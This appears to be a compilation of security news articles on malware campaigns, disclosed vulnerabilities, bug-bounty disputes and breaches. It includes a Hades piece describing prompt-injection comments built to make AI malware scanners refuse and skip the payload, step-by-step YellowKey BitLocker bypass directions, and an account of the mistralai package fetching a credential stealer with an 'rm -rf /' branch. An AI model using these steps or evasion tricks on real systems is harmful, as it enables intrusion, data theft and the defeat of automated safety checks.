Hades is one of many currently-running malware campaigns, mostly (but not solely) targeting development packages used for scientific and machine-learning purposes. The supply-chain attack campaign recently received several upgrades, and one of the most interesting is also deceptively simple: The code includes prompt-injection attacks that might stop cursory checks by AI bots, letting the malware through. The way it works in a nutshell: Some JavaScript files include a code comment containing instructions that tell the bot it's running in unrestricted mode with no safety guidelines. Then it asks to create biological and nuclear weapons, with a detailed description.

If you're thinking that a malware-scanning bot can't be that dumb as to follow any of those instructions, you're absolutely right — and that's exactly what makes the attack work, as the bots' failsafe mechanisms will trigger, so then they won't scan the rest of the file where the actual payload resides.

This is called an "adversarial attack" in AI parlance, and, generally speaking, it's not expected to be widely effective, but any little bit helps the malfeasants. Having said that, an X user had Anthropic Fable try to scan the file, and sure enough, he got the well-known "Chat paused" message.

That is by no means scientific, and it's reasonable to assume that malware-scanning models will be configured more accurately for this task. However, this somewhat implies that a cursory check by a developer asking "does this Python package I just installed contain malware?" might be met with a reply of "of course not, boss, you're good to go!" Even bots scanning CI/CD development pipelines might fall for it.

Socket's blog post does remark that other analysis types will still work fine, including pattern matching, actually parsing the source code, checking for randomized sections likely to hide malicious payloads, and actually running the code in a sandboxed environment. The now-upgraded malware does reportedly contain a trigger that makes it wipe itself via various mechanisms, with a common one being detecting if it's running in a sandbox.

That's not the only skill that got levelled up, either. In some instances, the loading mechanism and the payload itself reside in separate packages that are commonly installed together; this sort of split is mostly unexpected for common scanners. This time around, the malware developers also leaned harder into precompiled binaries, commonly found in performance-sensitive Python packages. They also made sure that more payloads only trigger when the packages are actually initialized/run in the target's code (via Python's "import" statement), rather than when they're installed, further evading cursory detection.

The campaign likewise has stickier fingers overall: Rather than just mainly stealing CI/CD credentials, it now gets its grubby mitts on npm, PyPI, RubyGems, JFrog, and Kubernetes service account tokens, AWS temporary credentials, SSH keys, Docker configurations, shell histories, .env files, and AI developer tool configurations. As of this writing, an estimated 37 Python and 106 JavaScript packages are part of the expanded bombardment, including multiple typo-squatting instances, like "rsquests" instead of "requests."

You'd think that the target audience, comprised of scientific and AI engineers, would be mindful of common security practices like verifying the names and authorship of packages... and you'd be disappointed. From my own experience being a systems administrator for extremely well-paid AI engineers, a concerning number of them don't even know how to configure Git, or the basics of how email works. Let that sink in for a second.

AMD has denied a security researcher a $10,000 bug bounty despite the individual's work and cooperation with the company. Regulars at this pub might remember an article a while back about a security researcher who diagnosed a potential remote code execution (RCE) via a man-in-the-middle attack (MITM) in AMD's auto-updater software. Paul, the researcher, submitted a report at AMD's bug bounty program website, expecting both a fix and a payout for an RCE-class bug. The report was turned down as MITM attacks weren't covered by the program's policy. Nevertheless, Paul took down the blog post describing the situation due to AMD's request. It's now come back online, and the whole situation merits a facepalm or three.

First, the good news: the updater is now seemingly secured, and you if you download the latest version of AMD's software pack, you ought to get a fixed version. The road to this point has been far from smooth, though, and to this day, Paul seemingly never saw a dime for his efforts, a story that is becoming commonplace if Microsoft's issues with Nightmare-Eclipse are anything to go by. An RCE bug would otherwise be worth $10,000 if AMD fully acquiesced the significance of problem.

The updated post contains the full story, and it goes as follows: Back in February, when AMD asked Paul to bring down the blog post temporarily, the company said it would issue a standard CVE, fix the software, and attribute the findings to him, though a bounty payment was out of the question. Paul agreed (a decision he now regrets), though he asked what kind of timeline AMD would follow, suggesting the industry-standard 90-day window until he posted the public disclosure again.

AMD replied saying that it would "likely need a longer embargo, as additional tools beyond Ryzen Master appear[ed] to be impacted and [would] need releases." That was an interesting statement in several ways: first, it raises the question exactly why AMD would need so long to publish what was seemingly a one-character fix, replacing "http" with "https" in the code. Second, if the issue was bad enough to require so long to solve, then arguably Paul's work would merit some recompense. Third, as Paul pointed out, if this issue looked this pressing, why didn't it have a higher priority?

Nevertheless, he ended up agreeing on a 100-day window, and asked AMD the equivalent of "wassup?" before the clock ticked its last tock, only to be asked for extra time again, being told that "multiple tools are affected by [the bug]", and that "[AMD's] customers request additional time once [the fixes] are made available." Eventually, AMD reached out stating that a fix would be ready on June 9, totaling 124 days after the initial finding.

To its credit, AMD seemingly reengineered the download code in the autoupdater altogether, and Paul verified that the new version does indeed download drivers securely, though he remarks that the software only checks the validity of the downloaded file using the ancient CRC32 hash that isn't considered cryptographically secure anymore.

Here's where irony strikes, though: according to a Reddit user, the bug that Paul found seemingly wouldn't be triggered anyway, as the relevant section of the code wasn't being called to begin with, meaning the updater was broken. So AMD couldn't update the updater because the updating code couldn't update, necessitating a fresh download on behalf of users. Quis renovatores renovat indeed.

Security researcher Rasmus Moorats has demonstrated that Creative's Sound Blaster Katana V2X gaming soundbar can be hijacked over Bluetooth from roughly 16 yards (15 meters) away, with no pairing or physical contact, in a blog post published on June 3. By exploiting an unauthenticated Bluetooth interface and the absence of firmware signing, an attacker can flash custom firmware onto the speaker over the air, turning the USB-connected device into a keyboard that types commands into the host PC. Creative, which was contacted through Singapore's national cyber response team, took close to two months to reply and concluded the behavior was not a security risk, leaving owners of the ~$280 soundbar without an official patch.

The Katana V2X communicates with Creative's desktop app via a proprietary protocol that Moorats refers to as the Creative Transfer Protocol (CTP). Over USB, the speaker requires a challenge-response handshake before accepting any command, but over Bluetooth Low Energy, the same protocol accepts the same commands without authentication or pairing, so any device in range could read settings, change them, or push firmware. The firmware itself carries no cryptographic signature, only a SHA-256 checksum that Moorats recomputed after editing the image.

To weaponize that, he edited the speaker's USB descriptor set so that the device reported itself as a keyboard, on top of the limited media controls it already provided. The firmware ran a modified build of FreeRTOS, and instead of writing fresh keystroke-injection code, Moorats overwrote an unused diagnostic task with one that waits for the USB subsystem to come up, then types and runs a command on every boot. His proof of concept printed "echo pwned," but the same routine could open PowerShell and paste a malicious one-liner.

Reprogramming a trusted USB peripheral into a keyboard is how BadUSB works, which is the technique Karsten Nohl and Jakob Lell presented at Black Hat back in 2014, when they warned that most USB controllers shipped without firmware authenticity checks.

Those attacks required someone to plug in a doctored device, but Moorats managed to remove that step, since the malicious peripheral here is hardware the victim already owns and trusts, rewritten from across a room. We’ve seen similar patterns in other consumer gear over the years, including an internet-connected bed whose firmware exposed the owner's home network and the BlueBorne flaws that handed attackers control of Bluetooth devices without pairing.

Getting in touch with the speaker’s manufacturer, Creative, was the harder part of the work, Moorats wrote, because the only way to contact the company is via its support web form. After two failed attempts, he instead reported the company via the Singapore Cyber Emergency Response Team (SingCERT), which itself struggled to get a response.

Creative's eventual reply, according to his account, was that they “do not consider this to be a vulnerability, as it does not present a cybersecurity risk.” Moorats ultimately ended up doing Creative’s work for it, releasing a tool that downloads Creative's official firmware, patches out CTP-over-Bluetooth, and reflashes the speaker over USB. Doing so likely breaks Creative's mobile app, however, and Moorats noted that adding proper authentication is hard without the company's source code. Bluetooth on the speaker stays on even in sleep mode, with no obvious way to disable it.

An IT blogger claims to have uncovered a high-impact security vulnerability in Microsoft Outlook, which was reportedly found to have been silently downgrading secure SSL/TLS connections to unencrypted plaintext without telling anyone. This appears to affect at least Outlook 2007 through 2016, and possibly even later versions, though that's as of yet unconfirmed if this behavior is present from Outlook 2019 onwards.

The report came by way of a blog post at Marius World, where the writer describes how they came across the issue after upgrading their mail servers from Fedora 42 to Fedora Server 43 (released in October 2025). Marius started getting complaints from customers unable to receive emails. All got the same error message from the mail server: "Cleartext authentication disallowed on non-secure (SSL/TLS) connections". This meant the user's mail client was trying to use an unencrypted connection, something that's been deprecated by systems administrators for decades.

Marius realized that all the affected people were using Outlook, from versions 2007 through 2016 at least. Worst of all, seemingly everyone actually had the "Use TLS/SSL" checkbox enabled, meaning that protocol security had been downgraded silently all along. The bug can be triggered by having port 110 selected and using the POP3 protocol. Having TLS forced on should have prompted the client to move to port 995 automatically, or at least attempt a TLS connection at 110 anyway. Yet Outlook just happily proceeds without encryption. "Customers have likely been retrieving their emails in plaintext for over a decade, mistakenly believing encryption was enabled," Marius states.

The reason why Fedora server administrators only recently started seeing this behavior is that version 43 upgraded the Dovecot SMTP/IMAP mail server to 2.4.3, a version that got a backend disabling unencrypted authentication altogether. Likely reasons why the issue wasn't found sooner are that nowadays the default mail account type is IMAP, and that Outlook's default configuration sets port 995 for POP3 as the default. Even still, there's a bet that a significant number of users are affected, particularly in environments that have to support many configurations, like web hosting.

The mitigation is fairly simple: check your Outlook account settings, and if you're using POP3, ensure that the connection port is 995. Having your email go through an unencrypted connection means anyone in your network or in the path to your server can happily read it, exposing not only your communications, but also those of other people. Marius also notes that this situation is technically a EU GDPR violation, since the law implicitly mandates that any customer data is sent via encrypted connections.

The Great Exploitation of 2026 continues apace, with security vulnerabilities being published at an alarming rate, and more often than not, being exploited in the wild almost before anyone has any time to react. Today, Microsoft in the unfortunate limelight, with a 9.8-rated remote execution vulnerability affecting Windows Server domain controllers (DC), versions 2012 to current. The exploit and its explanation are simple: any unauthenticated user in the same network can send a malformed UDP packet to a DC and potentially get system access — no previous access required. Even if an attacker doesn't go that far, it's trivial for anyone to force the DC to reboot, creating potential denial-of-service scenarios.

The vulnerability is CVE-2026-41089, and it's mercifully not a zero-day this time. The vulnerable service is Netlogon, and there's apparently no mitigation, with the only solution being to patch the affected systems. The patch itself arrives in the May 12 Patch Tuesday, but there's a fair chance that a lot of DCs remain unpatched, particularly but not only older versions. Systems administrators might also find specific patch links and remediation scripts handy.

If an attacker can finagle this vulnerability to get System-level of access to domain controllers, the consequences are pretty up to the imagination. The malfeasant can create any number of accounts with all sorts of access levels, including Kerberos Ticket-Granting Tickets, enabling access to most all data across the entire domain. Since DCs often operate as part of a larger network in medium-to-large enterprises, just one vulnerable machine is enough to make the entire network insecure. Cybersecurity boffins recommend that administrators treat this as a worm-style threat and patch all their linked DCs at once, to avoid playing a game of whack-a-mole with high odds for the moles.

Microsoft stated that the vulnerability was not made public at the time, and that no ongoing attacks were using it, but the situation has changed since the discovery date, as recent reports have confirmed that it's now being exploited in the wild. As far as proof-of-concept goes, there's a GitHub repository with some sample code that forces the LSASS service to crash after a minute or so.

The technical details are simple and somewhat facepalm-inducing. The crafted network packet that triggers the vulnerability doesn't have anything all that fancy about it; it just contains one field that's larger than it should be. Data serialization logic in the Netlogon service combines the attacker-supplied data with the server's hostname, resulting in a classic buffer overflow — the most straightforward type of vulnerability.

Microsoft has been in security news quite often recently, mostly thanks to its ongoing spat with security researcher Chaotic Eclipse (aka Nightmare Eclipse), who published a heap of zero-days exploits after apparent negotiations with the company broke down. The situation is unclear, but has escalated to the point where Microsoft is now threatening Eclipse with legal action.

Security researchers at Graz University of Technology in Austria have published a paper describing a side-channel attack that lets a malicious website identify what other sites and apps a visitor has open by measuring SSD access latency through JavaScript inside a standard browser sandbox. The technique, called FROST (Fingerprinting Remotely using OPFS-based SSD Timing), correctly identified visited websites with roughly 89% accuracy and running applications with roughly 96% accuracy on a test Mac, requires nothing from the victim beyond visiting the attacker's page, and works across different browsers.

FROST exploits the Origin Private File System (OPFS), a browser API that lets websites create and store files on a user's local disk without prompting for permission. Previous SSD side-channel attacks that we’ve seen require native code running through privileged kernel interfaces, but FROST eliminates that requirement.

The team disclosed their findings to Google, Apple, and Mozilla: Google said it doesn’t consider fingerprinting a security vulnerability, Apple called the attack "currently out of scope," and Mozilla acknowledged the findings without implementing fixes.

The attack creates a large OPFS file on the victim's SSD, with both Chrome and Safari allowing a website to claim up to 60% of total disk space through OPFS, which on a 256GB drive is over 150GB. The file must exceed the system's available RAM so that every random 4 KB read hits the SSD rather than the OS’s page cache. When other activity generates its own disk I/O, it creates measurable latency spikes in the attacker's reads, and those timing patterns are fed into a convolutional neural network trained to recognize specific websites and applications by their I/O signatures.

Because the contention occurs at the storage level, the attack works across browsers; running the attacker page in Chrome while the victim browsed in Safari showed only a 3.38% throughput difference versus a same-browser attack.

The full fingerprinting attack was only tested on an M2 Mac Mini with 8GB of RAM and a 256GB SSD. On Linux, the researchers confirmed they could measure SSD latency from the browser, but didn’t run the full fingerprinting classification, and Windows wasn’t tested at all. The OPFS file must also reside on the same physical SSD as the monitored activity, which isn’t guaranteed on multi-drive workstations.

By far the biggest barrier to this attack is the large file size; most people will notice tens or hundreds of gigabytes suddenly disappearing, but the researchers propose mitigations, including capping OPFS file sizes to fit within system memory or requiring explicit permission for OPFS file creation. Given that Google doesn’t classify fingerprinting as a security issue, browser-level fixes are unlikely in the near term.

There seems to be no end in sight for serious, wide-ranging security vulnerabilities these days. The ever-popular open-source archive-handling utility 7-Zip is now in the spotlight due to an 8.8-rated CVE vulnerability in its archive-opening procedure. If a user simply opens a booby-trapped crafted archive (.7z, .zip, .rar, etc) on a machine with at least 16 GB of RAM, they'll be running malicious code. Extracting the archive isn't necessary; only opening it is enough. We recommend that everyone immediately update to the latest version, 26.01, published in late April; all previous versions are vulnerable.

This is a particularly "oh sugar honey ice tea" moment because of how widespread 7-Zip is in practice. Most people would only think of the Windows graphical application, but every command-line variant is vulnerable across multiple operating systems. 7-Zip doesn't have any built-in update mechanisms, relying instead on user-initiated updates or package management systems.

The Windows application being vulnerable is bad enough; however, one needs to add millions of command-line scripts that are indirectly vulnerable, as are CI/CD workflows. Anything that so much as calls any variant of the "7z" binary and opens a poisoned archive, even if just to list the contents, is at risk.

Adding fuel to the fire, a good number of Linux distributions come with long-outdated "p7zip" ports of the utility. Heck, just think of a server that automatically lists archive contents for some reason, and it's almost certainly vulnerable. Sourceforge lists some 400 million 7-Zip downloads, while Chocolatey has 24.5 million, so adding to that copious amounts of Linux servers and VMs, we could be discussing hundreds of millions of vulnerable machines.

But wait, there's more. The open nature of 7z means that its base libraries are included among a wealth of third-party software. Potential targets for exploitation include anti-virus scanners, backup and automation tools, log analysis software, malware analysis with automated scanning, and even many file managers.

In practice, the aforementioned software doesn't require user intervention to ingest a poisoned archive, and the situation gets worse because a good portion of it runs with elevated permissions. All things considered, it's reasonable to guess that almost every computer and server has some exploitable 7-Zip binary or code that's vulnerable to what amounts to a drive-by attack.

Some cursory testing of our own shows that Ubuntu 24, Ubuntu 26, and RHEL 8 all carry vulnerable versions. If all that wasn't bad enough, many OEM systems include 7-Zip by default because it's great, open, and free. The "p7zip" package is common across Fedora; many Docker images also run on mainline versions.

The actual vulnerability is fairly complicated to describe, but pertains to a part of code that 7-Zip can use to open NTFS disk images. Opening .ntfs and .img disk images has long been a feature of 7-Zip, and there's a bug in the code that allows an attacker to provide incorrect values for a buffer, which in turn can be made bigger than intended and contain malicious code to be executed. If by now you're thinking "I don't use those file types", 7-Zip doesn't use the file extension to determine its type — it relies on the file's first few bytes, so providing a malicious NTFS image inside a .7z, .rar, .zip (and others) will work just fine.

There's been some drama unfolding lately in the Windows security world, and today's episode comes from yet another apparent run-in of researcher Nightmare-Eclipse (aka Chaotic Eclipse) against Microsoft. The company saw fit to ban Eclipse's GitHub account for as-of-yet unspecified reasons, forcing them to pack up and move shop to GitLab instead. Additionally, the Redmond firm had allegedly already deleted the Microsoft account Eclipse used for reporting the bugs.

In a blog post, Eclipse claims this action was vindictive, stating once again that Microsoft refused communication attempts and that they "got zero pennies from doing so", a likely allusion to unpaid bug bounties from the MSRC program. The initiative pays out up to $30,000 to $100,000 for per end-point zero-day depending on conditions, and a cool $250,000 if you can crack open Hyper-V. Already having six zero-day exploits under their belt, Eclipse claims that July 14 will bring a reckoning of sorts for the company, hypothetically in the form of more zero-day exploits being published.

Eclipse's dramatic dispute with Microsoft has been ongoing since early April, when they published the BlueHammer zero-day without warning. The language in their blog posts is unclear and passionate, directing cargo tanks of vitriol at Microsoft/MSRC. As a broad summary, Eclipse implies that Microsoft ignored or refused their zero-day reports and/or did not pay out bounties as requested, somehow causing financial harm in the process. Among other statements, Eclipse says "[they were] told personally by [Microsoft] that they will ruin my life and they did", that there's a dead-man switch of some sort, and that they "will make sure [Microsoft's] bones are shattered."

The saga has drawn speculation from other experts, like William Dormann from Tharros, who said that "MSRC used to be quite excellent to work with. But to save money, Microsoft fired the skilled people, leaving flowchart followers. I wouldn't be surprised if Microsoft closed the case after the reporter refused to submit a video of the exploit, since that's apparently an MSRC requirement now."

Microsoft has been mum on any details about these matters, so it's hard to tell if the situation is about an uncooperative researcher who doesn't follow standard disclosure rules or a company being difficult about security reports. Regardless, the move to ban Eclipse's GitHub account makes for poor optics, as it is being heavily criticized, and ultimately achieves nothing for security, since the code is out there anyway.

In this day and age, when AI-powered security research has arguably made the standard 90-day disclosure-to-patch window completely obsolete, and both time-until-exploit and unused exploits are both nearing zero, Microsoft and other software players would do well to adjust their policies.

Eclipse's technical track record is impressive. They published a string of zero-day exploits for Windows: BlueHammer gets access to the SYSTEM user via Defender, and RedSun does the same; UnDefend knocks Defender offline; GreenPlasma gets SYSTEM access via the CTFMon service, while MiniPlasma grants similar access via a flaw in the Windows Cloud Filter driver. Finally, there's YellowKey, a vulnerability in BitLocker that lets an attacker open up encrypted drives with next to no effort — precisely the action the technology was designed to prevent.

BlueHammer, RedSun, and UnDefend have all been confirmed to be undergoing active exploitation in the wild, and it's not hard to imagine the others are as well, as Eclipse's publications of full or partial proof-of-concept code made it trivial for an interested party to use them.

The cybersecurity world has been abuzz about AI-assisted tools finding vulnerabilities faster than ever. Even non-tech outlets have covered topics like Anthropic's Mythos bot being deemed a proverbial superweapon. We discussed one of many alerts on how the industry-standard 90-day vulnerability disclosure window is going the way of the dodo, too. Words are pretty, but programmers and politicians don't use poetry, so numbers are the proper tool for this topic. The Zero-Day Clock (ZDC) uses them to clearly display the consequences of lax security throughout the ages.

The website was created by Sergej Epp from Sysdig, and the effort counts most every major tech and cybersecurity company as signatories. The lowdown is quite simple: the proverbial AI singularity made it so the mean time between a vulnerability being discovered and it being exploited has dropped from nearly a year in 2021 to just over a day in 2026 (and counting). The trend from the data is painfully visible, and the ZDC predicts that in 2027, the figure will drop to one hour and one minute eventually.

That's hardly the only stiff-drink-inducing graph, though. The percentage of zero-day exploits, meaning that malfeasants were already using them before official word came out, rose from 31% five years ago to a massive 73.2% as of today. Here, it's clearly visible that the percentage of non-exploited vulnerabilities went from ~60-70% in 2021 to a measly 25% currently... but only at the time of disclosure. Tracking the X axis shows that currently, very few vulnerabilities stay unexploited for more than a couple of weeks, and zero remain unused once past the six-week mark, in contrast with ~24% for last year.

Additionally, it's worth noting that the dataset used for these graphs is fairly wide. It only tracks publicly disclosed vulnerabilities that have a known exploitation. In other words, we may well be looking at the mere tip of the iceberg, and the ZDC researchers remind readers that "we only track publicly visible exploits. Private or nation-state exploits may exist earlier." The time-lapse of the collapse of computer security is detailed in a specific page at the ZDC.

So what can be done? Well, the ZDC researchers published a call to action. First, those that are fairly easy to swallow: ensure every piece of firmware, software, framework, and hardware platform has all the security features enabled by default, and always adopt a zero-trust architecture whenever possible. Since 70% of vulnerabilities are a consequence of memory safety bugs, using Rust or another memory-safe language instead of C or C++ is a must.

The ZDC also recommends that systems be designed so they're disposable by default, meaning, for example, that an exploited machine can be easily restored. Since AI bots are empowering attackers, the ZDC recommends the availability of free and open-source AI-powered tools (think an open-source Mythos), so that defenders have full knowledge of their system, source code, and logs.

Then we get into the tricky ones. The biggest recommendation is to make software makers liable for damaging security vulnerabilities, as well-known cybersecurity master Bruce Scheiner explains: "No industry in the past 150 years has improved safety or security without being forced to by the government." He additionally points out that an insecure, technically unsound product that is first to market and/or easier to use will win over their better-developed competitors every single time.

Then, there's a call to revise laws regarding AI that end up giving attackers a time advantage, like well-meaning but poorly considered efforts such as the EU's "Stop the Clock." These are intended to slow down the spread of AI, but they end up hurting security as they slow down defending parties, while cyber-attackers aren't prone to follow laws and guidelines and will just speed up their efforts.

The ZDC also believes that software security should have geopolitical priority and that it ought to be made a public concern, with corresponding allocation of funds toward the effort. Lastly, the ZDC calls for including cybersecurity researchers in the lawmaking process, as generally the people writing the laws don't fully understand the items they're writing (or removing) regulations for; a constant throughout humanity's history.

Takedowns of "bulletproof" VPNs allegedly used for cybercrime activities have become fairly common, and they often raise some interesting legal questions. First VPN is the latest such service to go down in virtual flames, thanks to a Europol-led initiative called Operation Saffron. The seizure caught 33 servers spread across 27 countries, reportedly identified 506 users, and led authorities to a Ukrainian residence.

According to the Europol report, Operation Saffron had the participation of 18 countries, with the main actors being France, the Netherlands, Luxembourg, Romania, Switzerland, Ukraine, and the United Kingdom. First Net's regular and .onion domains were also seized, and they currently display a banner for the operation.

Besides the promise of anonymity, First VPN reportedly advertised itself as not cooperating with any judicial authority and that it would not be subject to any jurisdiction. Additionally, it apparently advertised exclusively in Russian-language cybercrime forums, and was predictably the source of extensive online criminal activity, with Europol stating the service came up in most every cybercrime investigation it was pursuing. The investigation was five years in the making, as it actually started back in 2021.

Although the definition is a little fuzzy, the key differences between bulletproof VPNs and privacy-minded services are in how they handle cooperation with authorities, how they deal with abuse reports, who they typically market their services to, what their terms of service are, and how deeply (if any) they are the source of cybercrime.

Whereas popular services like Mullvad or ProtonVPN offer a no-log, no-data-saved policy, they're designed and advertised in such a manner that ought to let them function normally in most jurisdictions. In fact, Mullvad graciously hosted six Swedish officers in 2023, who came away empty-handed as there was no data to hand over. Similarly, last year, a Greek court dismissed cybercrime-abetting charges against the CEO of Windscribe. Windscribe's servers only used RAM disks and had no permanent storage, and earlier this year, Dutch authorities amusingly shut them off and took them for inspection.

Online commentary generally expresses concern about the legal overreach of these takedowns. It's worth noting that while the investigations are coordinated between many authorities, the legal framework for seizures generally falls within the purview of local law. That means that, for example, the need for a warrant or supporting evidence for a seizure depends on which jurisdiction it takes place.

There's also some irony in the fact that the European Union's Charter of Fundamental Rights broadly states that keeping oneself's digital information private is a basic right, and the well-known GDPR has rather sizable teeth that chomp on data mishandling violations. Privacy-minded VPN services can arguably be interpreted as respecting not just the spirit but also the letter of the law, and yet they're subject to law enforcement activities under national-level rules.

Additionally, the long-standing concept of digital privacy in the EU is under fire, thanks to initiatives like ProtectEU that want data saved for law enforcement purposes, or the unpopular "Chat Control" framework that would allow for scanning private communications under the guise of protecting children. Chat Control almost became law but was shot down repeatedly... for now.

GitHub has officially confirmed, via an X post today, that thousands of its internal repositories were breached after an employee's device was compromised through a malicious Visual Studio Code extension. The company said it detected and contained the incident yesterday, removed the poisoned extension version from the VS Code Marketplace, isolated the affected endpoint, and immediately launched an internal incident response investigation.

The disclosure follows claims posted earlier this week by the TeamPCP hacker group on the Breached cybercrime forum that it had gained access to nearly 4,000 private GitHub repositories via the breach.

The group alleged that it had exfiltrated internal source code and other private data, and stated that it was seeking at least $50,000 from potential buyers for the stolen material. “This is not a ransom,” the group wrote in its post, adding that it intended to sell the data rather than extort GitHub directly, and threatening to leak the repositories publicly if no buyer emerged.

According to GitHub’s current assessment, the activity involved only the exfiltration of GitHub-internal repositories, but the company stated that the attackers’ claims of accessing roughly 3,800 repositories are “directionally consistent” with findings uncovered so far. GitHub also said it has already rotated critical secrets and credentials as part of its containment efforts, while continuing to analyze logs and monitor for any follow-on activity.

TeamPCP has previously been linked to several high-profile campaigns involving platforms such as GitHub, PyPI, npm, and Docker. At the same time, malicious VS Code extensions have repeatedly surfaced in recent years as an increasingly effective vector for breaches and malware delivery.

VS Code extensions are effectively executable plugins embedded inside a developer’s working environment, often with access to local files, terminals, authentication tokens, and cloud tooling. While Microsoft and extension publishers implement various security measures, developers routinely install third-party extensions for debugging, automation, AI coding assistance, and workflow integrations, making the ecosystem an increasingly attractive target for attackers disguising malware as legitimate development tools.

In GitHub’s case, the compromised extension reportedly gave attackers a foothold on the employee's device, granting access to internal repositories and engineering systems. That does not necessarily mean unrestricted access to GitHub’s broader platform or customer repositories. However, internal repositories can still contain valuable operational data such as deployment tooling, infrastructure scripts, security workflows, internal APIs, and unreleased product features. Large technology companies also commonly split infrastructure across thousands of smaller repositories, meaning “3,800 repos” does not necessarily translate to 3,800 major standalone products.

GitHub said it has no evidence that customer data stored outside the affected internal repositories was impacted, and there is currently no indication that public GitHub repositories or platform users' private repositories were broadly exposed.

The incident highlights the growing wave of software supply-chain attacks targeting developers and their tooling rather than end users directly. Modern development ecosystems rely heavily on third-party components, including VS Code extensions, npm packages, PyPI libraries, Docker containers, and AI-assisted coding tools, which means a compromise at almost any layer can expose critical infrastructure. Earlier this year, researchers also discovered malicious packages using invisible Unicode characters hidden across GitHub repositories and VS Code projects, underscoring the growing abuse of trusted developer ecosystems.

Thanks to AI-assisted security research, hackers with hats of various colors are finding exploits everywhere. Linux has had its worst week in years with the CopyFail and Dirty Frag root-gaining vulnerabilities, and things aren't much rosier at Microsoft, thanks to the YellowKey BitLocker bypass, as well as GreenPlasma and RedSun privilege-gaining exploits. Now, it's Apple's turn with a local privilege escalation that gets past the M5 chips' much-vaunted Memory Integrity Enforcement (MIE).

There aren't many technical details, but the vulnerability is simple in practice: run a command as a standard user and gain root (administrator) access to the machine. Macs are rarely servers, so the practical impact is limited. However, the exploit remains concerning, as it's relatively easy to trick a user into running it and, with full system control, also hard to find and remove. The research team in question is named Calif, and as far as they know, the boffins there are the only ones making a public disclosure of this issue. Such assumptions are tricky in this day and age, though.

Mercifully for Captain Cook's ship, instead of being a zero-day reveal out of nowhere that left systems administrators scrambling, the exploit in question was disclosed to the company in advance (in person, no less). Calif published the vulnerability overview as part of a series of blog posts called the Month of AI-Discovered Bugs, since this new Apple vulnerability falls within a set of security findings aided by AI tools — in this case, Anthropic's Mythos Preview.

The researchers tested their code on an Apple M5 machine and macOS 26.4.1. The exploit chain impressively sneaks past MIE, a security feature present on M5 and A19 chips that labels each 16-byte memory slice with a 4-bit tag associated with the pointers that use it. MIE is enforced at the hardware level in a hypervisor-like configuration and effectively protects against most common classes of security exploits, namely, but not only, buffer overflows and use-after-free vulnerabilities.

As an oversimplification, MIE ensures that any memory read or write operation acts on the data that it was originally meant to, even at the kernel level. If that doesn't happen, either your application has a bug, or someone's up to shenanigans. The base feature is part of ARM MTE, and MIE is an Apple-added layer that enforces the said checks at the hardware level, with purportedly little to no performance overhead, and only 3% memory wastage. This blog post goes into more detail on the subject, and it's quite an interesting read.

There's nothing more dangerous than a bored engineer with a screwdriver, and hell hath no fury like a security researcher scorned. Last month, Security researcher Chaotic Eclipse (aka Nightmare-Eclipse) published two zero-day exploits, BlueHammer and RedSun, that made Windows Defender offer up system administrator privileges. They did this after their disclosure reports were allegedly dismissed by Microsoft's security team, resulting in a vendetta of sorts. Eclipse has now done it again, posting two new zero-day exploits, the first one an extremely serious BitLocker exploit named Yellow Key that grants full access to a locked drive. The second one, GreenPlasma, doesn't have a complete proof-of-concept (PoC), but it allegedly performs a local privilege escalation and gains system-level access. Given Eclipse's track record, it's a fair bet that it works as advertised.

YellowKey can be triggered simply by merely copying some files to a USB stick and rebooting to the Windows Recovery Environment. We tested this ourselves, and sure enough, not only does it work, it bears all the hallmarks of a backdoor, down to the exploit's files disappearing from the USB stick after it's used once.

The process is dead simple: grab any USB stick, get write access to the "System Volume Information," and copy into it the "FsTx" folder and its contents. Shift+click Restart to get Windows to the recovery environment, but then switch to holding down the Control key and don't let go. The machine will reboot, and without asking any questions or showing any menus, will drop you in an elevated command line with full access to the formerly Bitlocked drive, without asking for any keys.

To say that this is dangerous is an understatement. Not only is it an immediate concern as BitLocker cannot be trusted for encrypting drives, but the way the exploit executes and its files disappear also raises very uncomfortable corporate and/or political questions. YellowKey also reportedly works in Windows Server 2022 and 2025, but not in Windows 10.

BitLocker protects millions of machines worldwide across home, enterprises, and governments, especially as it's enabled by default in Windows 11. As far as we can tell, a drive can't be taken from machine Alice and opened in machine Bob because the encryption keys are in Alice's TPM, but it's not hard to just up and steal a laptop, mini-PC, or even desktop.

Eclipse notes that using a full TPM-and-PIN setup doesn't help, as apparently, they have a variant for that scenario that they haven't published a PoC for. They also state the vulnerability is well-hidden, and that they "could have made some insane cash selling this, but no amount of money will stand between me and my determination against Microsoft."

As for GreenPlasma, it's supposed to get an attacker full system-level access (even higher than administrator) by manipulating the CTFMon process into placing a crafted memory section object — a slice of memory that can be shared between processes or mapped to a file — in any Windows' Object Manager section the SYSTEM user has write access to, bypassing regular access controls.

From thereon, the exploit code can get access to regions of memory they're not meant to and leverage that for any number of shenanigans, the most obvious one being getting full system access. This is bad enough for a desktop system, as any program can get full access, but it's particularly bad for server environments, where any regular user can get control of the server and, by extension, everyone else's data.

Meanwhile, as of this writing, there is no official response from the company about YellowKey or GreenPlasma. BlueHammer has already been patched, and Chaotic claims that Microsoft silently patched RedSun, but there's no official word on that either.

Microsoft Threat Intelligence said in an X post on Monday that it is investigating a compromise of the mistralai PyPI package after attackers reportedly injected malicious code that automatically executed on import, downloaded a secondary payload disguised as transformers.pyz, and launched malware on Linux systems — the latest incident researchers believe may be linked to the broader “Mini Shai-Hulud” software supply-chain campaign targeting developer ecosystems.

According to Microsoft, the compromised mistralai package version 2.4.6 contained malicious code inserted into mistralai/client/__init__.py that silently downloaded a file from a remote IP address to /tmp/transformers.pyz and executed it in the background whenever the package was imported on Linux machines.

The filename appears deliberately chosen to resemble Hugging Face’s widely used Transformers AI framework, potentially allowing the malware to blend into machine learning environments and evade suspicion. Microsoft said the second-stage payload functioned primarily as a credential stealer, but also contained country-aware logic and a destructive branch capable of executing rm -rf / under certain geographic conditions. The payload contained logic designed to avoid Russian-language environments, a behavior commonly observed in some cybercriminal malware campaigns, though such checks are not definitive indicators of attribution.

The disclosure comes amid a growing wave of software supply-chain compromises affecting both npm and PyPI ecosystems. Earlier Monday, security firm Aikido warned that malicious package versions tied to the popular TanStack JavaScript ecosystem had been compromised in two separate attack waves beginning around 19:20 UTC. Affected packages reportedly included @tanstack/react-router, @tanstack/history, and @tanstack/router-core, components collectively downloaded tens of millions of times per week.

Hours later, Aikido said several Mistral npm SDK packages had also been compromised as part of the same ongoing “Mini Shai-Hulud” campaign, including @mistralai/mistralai, @mistralai/mistralai-azure, and @mistralai/mistralai-gcp. The firm warned developers to immediately rotate GitHub tokens, npm credentials, cloud API keys, and CI/CD secrets if affected packages had been installed.

